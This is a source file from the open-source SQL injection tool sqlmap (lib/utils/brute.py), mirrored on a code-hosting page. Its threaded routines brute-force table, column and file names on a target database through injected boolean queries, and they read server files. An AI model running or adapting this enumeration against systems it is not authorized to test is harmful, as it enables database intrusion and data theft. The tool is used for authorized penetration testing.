Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/lib/utils/brute.py
2989 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
5
See the file 'LICENSE' for copying permission
6
"""
7
8
from __future__ import division
9
10
import time
11
12
from lib.core.common import Backend
13
from lib.core.common import clearConsoleLine
14
from lib.core.common import dataToStdout
15
from lib.core.common import filterListValue
16
from lib.core.common import getFileItems
17
from lib.core.common import getPageWordSet
18
from lib.core.common import hashDBWrite
19
from lib.core.common import isNoneValue
20
from lib.core.common import ntToPosixSlashes
21
from lib.core.common import popValue
22
from lib.core.common import pushValue
23
from lib.core.common import randomInt
24
from lib.core.common import randomStr
25
from lib.core.common import readInput
26
from lib.core.common import safeSQLIdentificatorNaming
27
from lib.core.common import safeStringFormat
28
from lib.core.common import unArrayizeValue
29
from lib.core.common import unsafeSQLIdentificatorNaming
30
from lib.core.data import conf
31
from lib.core.data import kb
32
from lib.core.data import logger
33
from lib.core.decorators import stackedmethod
34
from lib.core.enums import DBMS
35
from lib.core.enums import HASHDB_KEYS
36
from lib.core.enums import PAYLOAD
37
from lib.core.exception import SqlmapDataException
38
from lib.core.exception import SqlmapMissingMandatoryOptionException
39
from lib.core.exception import SqlmapNoneDataException
40
from lib.core.settings import BRUTE_COLUMN_EXISTS_TEMPLATE
41
from lib.core.settings import BRUTE_TABLE_EXISTS_TEMPLATE
42
from lib.core.settings import METADB_SUFFIX
43
from lib.core.settings import UPPER_CASE_DBMSES
44
from lib.core.threads import getCurrentThreadData
45
from lib.core.threads import runThreads
46
from lib.request import inject
47
48
def _addPageTextWords():
49
wordsList = []
50
51
infoMsg = "adding words used on web page to the check list"
52
logger.info(infoMsg)
53
pageWords = getPageWordSet(kb.originalPage)
54
55
for word in pageWords:
56
word = word.lower()
57
58
if len(word) > 2 and not word[0].isdigit() and word not in wordsList:
59
wordsList.append(word)
60
61
return wordsList
62
63
@stackedmethod
64
def tableExists(tableFile, regex=None):
65
if kb.choices.tableExists is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct:
66
warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED])
67
warnMsg += "for common table existence check"
68
logger.warning(warnMsg)
69
70
message = "are you sure you want to continue? [y/N] "
71
kb.choices.tableExists = readInput(message, default='N', boolean=True)
72
73
if not kb.choices.tableExists:
74
return None
75
76
result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr())))
77
78
if result:
79
errMsg = "can't use table existence check because of detected invalid results "
80
errMsg += "(most likely caused by inability of the used injection "
81
errMsg += "to distinguish erroneous results)"
82
raise SqlmapDataException(errMsg)
83
84
pushValue(conf.db)
85
86
if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
87
conf.db = conf.db.upper()
88
89
message = "which common tables (wordlist) file do you want to use?\n"
90
message += "[1] default '%s' (press Enter)\n" % tableFile
91
message += "[2] custom"
92
choice = readInput(message, default='1')
93
94
if choice == '2':
95
message = "what's the custom common tables file location?\n"
96
tableFile = readInput(message) or tableFile
97
98
infoMsg = "performing table existence using items from '%s'" % tableFile
99
logger.info(infoMsg)
100
101
tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS,), unique=True)
102
tables.extend(_addPageTextWords())
103
tables = filterListValue(tables, regex)
104
105
for conf.db in (conf.db.split(',') if conf.db else [conf.db]):
106
if conf.db and METADB_SUFFIX not in conf.db:
107
infoMsg = "checking database '%s'" % conf.db
108
logger.info(infoMsg)
109
110
threadData = getCurrentThreadData()
111
threadData.shared.count = 0
112
threadData.shared.limit = len(tables)
113
threadData.shared.files = []
114
threadData.shared.unique = set()
115
116
def tableExistsThread():
117
threadData = getCurrentThreadData()
118
119
while kb.threadContinue:
120
kb.locks.count.acquire()
121
if threadData.shared.count < threadData.shared.limit:
122
table = safeSQLIdentificatorNaming(tables[threadData.shared.count], True)
123
threadData.shared.count += 1
124
kb.locks.count.release()
125
else:
126
kb.locks.count.release()
127
break
128
129
if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
130
fullTableName = "%s.%s" % (conf.db, table)
131
else:
132
fullTableName = table
133
134
if Backend.isDbms(DBMS.MCKOI):
135
_ = randomInt(1)
136
result = inject.checkBooleanExpression("%s" % safeStringFormat("%d=(SELECT %d FROM %s)", (_, _, fullTableName)))
137
else:
138
result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName)))
139
140
kb.locks.io.acquire()
141
142
if result and table.lower() not in threadData.shared.unique:
143
threadData.shared.files.append(table)
144
threadData.shared.unique.add(table.lower())
145
146
if conf.verbose in (1, 2) and not conf.api:
147
clearConsoleLine(True)
148
infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table))
149
dataToStdout(infoMsg, True)
150
151
if conf.verbose in (1, 2):
152
status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))
153
dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)
154
155
kb.locks.io.release()
156
157
try:
158
runThreads(conf.threads, tableExistsThread, threadChoice=True)
159
except KeyboardInterrupt:
160
warnMsg = "user aborted during table existence "
161
warnMsg += "check. sqlmap will display partial output"
162
logger.warning(warnMsg)
163
164
clearConsoleLine(True)
165
dataToStdout("\n")
166
167
if not threadData.shared.files:
168
warnMsg = "no table(s) found"
169
if conf.db:
170
warnMsg += " for database '%s'" % conf.db
171
logger.warning(warnMsg)
172
else:
173
for item in threadData.shared.files:
174
if conf.db not in kb.data.cachedTables:
175
kb.data.cachedTables[conf.db] = [item]
176
else:
177
kb.data.cachedTables[conf.db].append(item)
178
179
for _ in ((conf.db, item) for item in threadData.shared.files):
180
if _ not in kb.brute.tables:
181
kb.brute.tables.append(_)
182
183
conf.db = popValue()
184
hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True)
185
186
return kb.data.cachedTables
187
188
def columnExists(columnFile, regex=None):
189
if kb.choices.columnExists is None and not any(_ for _ in kb.injection.data if _ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) and not conf.direct:
190
warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED])
191
warnMsg += "for common column existence check"
192
logger.warning(warnMsg)
193
194
message = "are you sure you want to continue? [y/N] "
195
kb.choices.columnExists = readInput(message, default='N', boolean=True)
196
197
if not kb.choices.columnExists:
198
return None
199
200
if not conf.tbl:
201
errMsg = "missing table parameter"
202
raise SqlmapMissingMandatoryOptionException(errMsg)
203
204
if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES:
205
conf.db = conf.db.upper()
206
207
result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr())))
208
209
if result:
210
errMsg = "can't use column existence check because of detected invalid results "
211
errMsg += "(most likely caused by inability of the used injection "
212
errMsg += "to distinguish erroneous results)"
213
raise SqlmapDataException(errMsg)
214
215
message = "which common columns (wordlist) file do you want to use?\n"
216
message += "[1] default '%s' (press Enter)\n" % columnFile
217
message += "[2] custom"
218
choice = readInput(message, default='1')
219
220
if choice == '2':
221
message = "what's the custom common columns file location?\n"
222
columnFile = readInput(message) or columnFile
223
224
infoMsg = "checking column existence using items from '%s'" % columnFile
225
logger.info(infoMsg)
226
227
columns = getFileItems(columnFile, unique=True)
228
columns.extend(_addPageTextWords())
229
columns = filterListValue(columns, regex)
230
231
for table in conf.tbl.split(','):
232
table = safeSQLIdentificatorNaming(table, True)
233
234
if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
235
table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table)
236
237
kb.threadContinue = True
238
kb.bruteMode = True
239
240
threadData = getCurrentThreadData()
241
threadData.shared.count = 0
242
threadData.shared.limit = len(columns)
243
threadData.shared.files = []
244
245
def columnExistsThread():
246
threadData = getCurrentThreadData()
247
248
while kb.threadContinue:
249
kb.locks.count.acquire()
250
251
if threadData.shared.count < threadData.shared.limit:
252
column = safeSQLIdentificatorNaming(columns[threadData.shared.count])
253
threadData.shared.count += 1
254
kb.locks.count.release()
255
else:
256
kb.locks.count.release()
257
break
258
259
if Backend.isDbms(DBMS.MCKOI):
260
result = inject.checkBooleanExpression(safeStringFormat("0<(SELECT COUNT(%s) FROM %s)", (column, table)))
261
else:
262
result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table)))
263
264
kb.locks.io.acquire()
265
266
if result:
267
threadData.shared.files.append(column)
268
269
if conf.verbose in (1, 2) and not conf.api:
270
clearConsoleLine(True)
271
infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column))
272
dataToStdout(infoMsg, True)
273
274
if conf.verbose in (1, 2):
275
status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))
276
dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)
277
278
kb.locks.io.release()
279
280
try:
281
runThreads(conf.threads, columnExistsThread, threadChoice=True)
282
except KeyboardInterrupt:
283
warnMsg = "user aborted during column existence "
284
warnMsg += "check. sqlmap will display partial output"
285
logger.warning(warnMsg)
286
finally:
287
kb.bruteMode = False
288
289
clearConsoleLine(True)
290
dataToStdout("\n")
291
292
if not threadData.shared.files:
293
warnMsg = "no column(s) found"
294
logger.warning(warnMsg)
295
else:
296
columns = {}
297
298
for column in threadData.shared.files:
299
if Backend.getIdentifiedDbms() in (DBMS.MYSQL,):
300
result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column)))
301
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,):
302
result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s NOT GLOB '*[^0-9]*')", (column, table, column)))
303
elif Backend.getIdentifiedDbms() in (DBMS.MCKOI,):
304
result = inject.checkBooleanExpression("%s" % safeStringFormat("0=(SELECT MAX(%s)-MAX(%s) FROM %s)", (column, column, table)))
305
else:
306
result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column)))
307
308
if result:
309
columns[column] = "numeric"
310
else:
311
columns[column] = "non-numeric"
312
313
kb.data.cachedColumns[conf.db] = {table: columns}
314
315
for _ in ((conf.db, table, item[0], item[1]) for item in columns.items()):
316
if _ not in kb.brute.columns:
317
kb.brute.columns.append(_)
318
319
hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True)
320
321
return kb.data.cachedColumns
322
323
@stackedmethod
324
def fileExists(pathFile):
325
retVal = []
326
327
message = "which common files file do you want to use?\n"
328
message += "[1] default '%s' (press Enter)\n" % pathFile
329
message += "[2] custom"
330
choice = readInput(message, default='1')
331
332
if choice == '2':
333
message = "what's the custom common files file location?\n"
334
pathFile = readInput(message) or pathFile
335
336
infoMsg = "checking files existence using items from '%s'" % pathFile
337
logger.info(infoMsg)
338
339
paths = getFileItems(pathFile, unique=True)
340
341
kb.bruteMode = True
342
343
try:
344
conf.dbmsHandler.readFile(randomStr())
345
except SqlmapNoneDataException:
346
pass
347
except:
348
kb.bruteMode = False
349
raise
350
351
threadData = getCurrentThreadData()
352
threadData.shared.count = 0
353
threadData.shared.limit = len(paths)
354
threadData.shared.files = []
355
356
def fileExistsThread():
357
threadData = getCurrentThreadData()
358
359
while kb.threadContinue:
360
kb.locks.count.acquire()
361
if threadData.shared.count < threadData.shared.limit:
362
path = ntToPosixSlashes(paths[threadData.shared.count])
363
threadData.shared.count += 1
364
kb.locks.count.release()
365
else:
366
kb.locks.count.release()
367
break
368
369
try:
370
result = unArrayizeValue(conf.dbmsHandler.readFile(path))
371
except SqlmapNoneDataException:
372
result = None
373
374
kb.locks.io.acquire()
375
376
if not isNoneValue(result):
377
threadData.shared.files.append(result)
378
379
if not conf.api:
380
clearConsoleLine(True)
381
infoMsg = "[%s] [INFO] retrieved: '%s'\n" % (time.strftime("%X"), path)
382
dataToStdout(infoMsg, True)
383
384
if conf.verbose in (1, 2):
385
status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit))
386
dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True)
387
388
kb.locks.io.release()
389
390
try:
391
runThreads(conf.threads, fileExistsThread, threadChoice=True)
392
except KeyboardInterrupt:
393
warnMsg = "user aborted during file existence "
394
warnMsg += "check. sqlmap will display partial output"
395
logger.warning(warnMsg)
396
finally:
397
kb.bruteMode = False
398
399
clearConsoleLine(True)
400
dataToStdout("\n")
401
402
if not threadData.shared.files:
403
warnMsg = "no file(s) found"
404
logger.warning(warnMsg)
405
else:
406
retVal = threadData.shared.files
407
408
return retVal
409
410